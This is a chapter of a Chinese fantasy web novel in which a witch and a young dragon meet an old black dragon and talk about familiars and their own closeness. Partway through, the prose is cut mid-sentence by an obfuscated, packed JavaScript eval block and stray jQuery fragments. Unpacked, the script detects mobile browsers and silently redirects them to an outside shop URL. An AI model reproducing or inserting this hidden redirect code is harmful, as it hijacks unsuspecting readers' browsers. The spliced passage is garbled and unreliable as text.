文趣网 > 其他小说 > 女巫与龙的绝交信[西幻] > 13. 第13章
    果然,无论是女巫还是龙族,都觉得逗小孩很好玩。

    就像梅尔拉,就像……阿勒克斯。

    阿勒克斯在旁边安静地坐着,听到那句“逗小孩”的时候,他的耳朵动了动,但没有出声。

    他当然记得,他那颗美丽的宝石,当初就是作为“提供消息”的报酬,被他送给了薇拉——虽然后面说开了,那颗蓝宝石就变成了拜师礼,依旧在薇拉手上。

    “好吧,你们都这样。”这话倒是在梅尔拉的意料之中,她没有什么特别的感触。

    黑龙的尾巴尖晃了一下:“你这话听起来像是已经习惯了。”

    “确实。”梅尔拉说,“我从小到大遇到了很多次了,嗯,你也是其中一个。”

    “当然了,生命这么长,年轻人这么少。”黑龙挪动脚步,走近了一些,“愿意配合的不多了。”

    他挪动的那几部让他离她们更近了一些,尾巴在身后盘了半圈,像是在找一个更舒服的角度来继续这场对话。

    “那现在这个年轻龙,”他朝阿勒克斯的方向偏了偏头,“愿意配合吗?”

    阿勒克斯被点名,坐直了一点。

    梅尔拉也顺着他的目光看了阿勒克斯一眼,然后说:“我想他还没搞清楚情况。”

    “我懂。”黑龙看了他一会,若有所思地点点头,“有的人总是不愿意辜负别人的。一直盯着我,是终于认出我了吗?”

    阿勒克斯遗憾地摇了摇头,“没有。”

    黑龙沉默了一会,然后颇为遗憾地摇了摇头,什么也没说。

    “但是我觉得你眼熟,可能以前见过你?”阿勒克斯说,“但我想不起来在哪里见过你。”

    “当然当然,我想,年轻的小龙们都会觉得我眼熟。”黑龙甩了甩尾巴,摇头晃脑,“但是我就是不告诉你们我们什么时候见过。”

    “好吧。”

    “那你们就慢慢想吧。”他的尾巴尖微微晃了一下,重新站起身来,“就以百花节为期限吧,到时候我告诉你们。如果你们能提前知道,我就送你们一个礼物如何?”

    他说完这句话,没有等回应,就转过身,慢悠悠地朝着矮墙走回去。他的步伐不紧不慢,最后只有一句话悠悠地飘了回来:“一边玩去吧,我这个老家伙无趣。”

    他说自己无趣,但他的尾巴在跳上矮墙之后,又晃了两下。那个幅度不大,但足够让人看清楚了,他显然乐在其中。

    梅尔拉看了一会才收回目光。

    她想了想,对阿勒克斯说:“既然如此,那就靠你了,阿勒克斯。”

    “啊?我吗?”阿勒克斯有些无措,“好、好的,我会努力的。”他自然是一口答应,也没有管自己到底能不能做到。

    他答应得太快了。

    梅尔拉看了他一眼:“做不到也没关系,这不是什么严肃的事情。”

    “知道了。”

    送走这位不愿意透露姓名的“龙长老”,她们又在台阶上坐了一会,低声聊着一些细碎的琐事。

    虽说是出来玩的,但哪怕只是在一个地方安静地坐着,时不时说些小事,那就足够美好了。

    梅尔拉或许只是在家里待久了,需要到外面来看看新的景色,和随便什么人说说话聊聊天,她不太在乎这个“出来玩”的形式。

    而阿勒克斯总是如此配合,似乎梅尔拉想怎么做,他都不会有意见一般。他只是想要更多地和她待在一起,但又不想梅尔拉总是闷在一个地方而已。

    太阳又偏西了一点,夕阳正往下沉。

    广场上女巫和龙族来来往往,让这里变得格外热闹。光线从暖白变成了金黄的琥珀色,又从琥珀色变成了更深的橘红色。

    似乎到了休息的时间了,从外面回来的女巫更多了,她们穿着各式各样的衣服,带着千奇百怪的动物,交谈着,笑着。

    几个女巫提着篮子从拱门下进过,篮子里装着刚摘的草药和一些不知名的花,路过她们的时候,还热情地打了招呼。她们不一定认识阿勒克斯——这里出现龙族又不奇怪,但是她们对梅尔拉很熟悉,梅尔拉一一回应,然后又看着她们走远了。

    和龙族的年龄难以辨别一样,人们也无法从一个女巫的外表上看出她的年龄。她们看起来可能很年轻,但可能已经活了几十年,甚至更久,岁月是模糊的,但是不影响她们的魅力和实力。每个人都有着独特的气质,年轻的外表只是一个附加项。

    阿勒克斯看着刚才走过去的一位目不斜视走过去的女巫,更准确的说是看着那位女巫肩膀上的猫头鹰——紫色的,在路过他和梅尔拉的时候还点头示意了一下。

    “她在跟我们打招呼。”但梅尔拉说的似乎不是猫头鹰。

    阿勒克斯又看了一眼那位女巫的背影,她的脚步没有变慢,视线也没有偏移,像是根本没有注意到路边有人坐着。

    “但是那位女巫并没有看我们。”

    “她不需要看,”梅尔拉说,“猫头鹰替她看了。”

    阿勒克斯沉默了一会:“所以她们之间是共享视线的?”

    “不完全是。”梅尔拉说,“就像姨母说的那样,女巫的宠物也是家人。有时候也是自己的半身,甚至也可以是自己的一部分。”

    这和龙族不太一样。

    龙族生来高傲,骨子里刻着一种近乎偏执的自恃,常常看不起自己同族之外的所有人,在和女巫建立起牢不可破的关系之前,他们几乎从不肯低头看世界一眼,更别说交流了。

    而女巫则不同,她们天然带着一种温和的包容,如流水,像藤蔓,她们时常会与他人交流,无论是人类还是动物、同族还是异族,从不吝啬于与别人建立某种关联。大多数女巫喜欢不断建立新的关系,她们的关系网络总是不断蔓延的,所有的交流都化作看不见的丝线在暗处生长缠绕,把原本不相干的人连在一起。

    某种意义上来说,这也是证明她们存在的一种方式。

    当然,藤蔓只是藤蔓,它们绕住石头、攀上树干,在看不见的地方

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912444|213177||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把一切缠在一起,可真正让一棵树站住的,始终是树自己的根。女巫们的关系网再密,让她们立足于世的,始终是她们自身那一簇不灭的心火。

    阿勒克斯安静地听完,目光落在不远处的一道拱门上,上面雕刻着繁复的花纹。花纹在暮色里看不太清,像是藤蔓缠绕着某种几何形状,又像是一棵被简化了的树。

    梅尔拉注意到他的视线,一顺着他的目光看过去:“上面雕刻的是生命树,扎根在一颗石头上,所有女巫的名字都在上面。”

    阿勒克斯当然知道,梅尔拉说的这些他都差不多知道,但是这些,听被人说出来,感觉还是不一样的。

    他忽然振作了起来,蓦地站起身,然后说:“我们去圣坛走走吧。”

    阿勒克斯提到过的,圣坛附近准备重新装饰,也可以去转转。

    “或者说,我们可以先吃晚餐,然后去散散步?”他说,“现在有些晚了,我猜你也已经饿了?”

    “……都行。”梅尔拉思考片刻,才终于回答他,“你也不用每次都要把理由想得这么……完整。”

    她感觉到了,阿勒克斯每次和她相关的提议,除了刚说出口的那一瞬间是他真实的想法,剩下的都是他为了给自己找补,显得他没有那么急切、冲动。

    阿勒克斯被她这句话噎了一下,耳朵尖微微动了动。他张了张嘴,像是想要辩解,又像是觉得变得也没用,最后还是闭上了。

    “……我知道。”

    “知道你还这样?”

    “因为有时候说出来之后,才觉得太直接了。”他说,“我怕你觉得我总是在安排什么,甚至是在替你做决定。那样就显得……显得我不太真诚。”

    他说完这句话之后,便没有再补充什么。那些话像是在他心里堆积很久,此时终于被翻出来了一般。

    梅尔拉安静地听他说完,没有立刻接话,似乎在等阿勒克斯把所有话都先说完。

    良久,她终于开口:“我知道你没有那个意思。毕竟你连自己的决定都要先包装一下才敢说出来,怎么可能替我做决定。”

    阿勒克斯的耳朵尖又动了动,这回不是紧张,更像是被戳穿后认命了的样子。

    “你没那么觉得?”他明显松了一口气,“那就好。我总是担心我做得不好。”

    “所以下次,你就直接说就好了,有什么问题,我会跟你说的。”她的语气很平和,毕竟龙不太会做人,再正常不过了,阿勒克斯太过谨慎了。

    阿勒克斯听完,立刻猛猛点头,“好,我会的。”他点头的幅度比平时大了一些,像是觉得不这样就不足以证明他的决心一般。

    “也不用点头点得这么用力。”她说。

    “我要证明我没有犹豫,我有听你的话。”这次的话倒是脱口而出了,说完阿勒克斯愣了片刻。

    他站在那里,像是被自己说出来的那句话吓了一跳。耳朵尖的浅红慢慢蔓延到了耳根,他的视线明显向下偏移了一点,落在她们之间的地面上。